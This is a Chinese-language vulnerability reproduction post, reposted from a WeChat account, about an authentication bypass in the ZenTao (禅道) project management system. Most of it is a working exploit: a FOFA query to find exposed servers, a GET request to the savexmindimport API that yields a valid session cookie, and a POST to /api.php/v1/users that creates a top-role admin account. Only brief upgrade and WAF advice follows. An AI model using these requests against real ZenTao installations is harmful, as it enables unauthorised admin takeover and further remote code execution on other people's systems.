禅道项目管理系统 身份认证绕过

admin 2024年4月29日16:10:08评论34 views字数 1089阅读3分37秒阅读模式

漏洞描述

禅道项目管理软件为一款国产开源免费的项目管理软件,该系统存在身份认证绕过漏洞,攻击者能利用该漏洞进行绕过正常认证流程,创建管理员账户来接管后台,进而会利用其他后台漏洞实现远程代码执行。

禅道项目管理系统 身份认证绕过

资产确定

fofa:

 app="易软天创-禅道系统"

漏洞复现

1.利用如下POC先访问接口获取有效cookie。

GET /api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=hxsjoqkyiveutbzwlvjv&branch=rbpcotcxawqpqhvhqfpp HTTP/1.1Host: {{Hostname}}Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9sec-ch-ua-platform: "Windows"sec-ch-ua: "Google Chrome";v="109", "Chromium";v="109", "Not=A?Brand";v="24"sec-ch-ua-mobile: ?0Connection: close

禅道项目管理系统 身份认证绕过

2.获取有效cookie后,构造添加用户请求包,回显状态码403则表示添加成功。

POST /api.php/v1/users HTTP/1.1Cookie: zentaosid=06cc7df8420574cf12a403d16cf3f5d9;Host: {{Hostname}}{"account": "Demo", "password": "DemoTest123", "realname": "Test", "role": "top", "group": "1"}

禅道项目管理系统 身份认证绕过

禅道项目管理系统 身份认证绕过

 

修复建议

1.升级至安全版本

2.在Web应用防火墙中添加接口临时黑名单规则

如有侵权,请联系删除

原文始发于微信公众号(我爱林):漏洞复现 || 禅道项目管理系统 身份认证绕过

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月29日16:10:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   禅道项目管理系统 身份认证绕过http://cn-sec.com/archives/2698366.html

发表评论

匿名网友 填写信息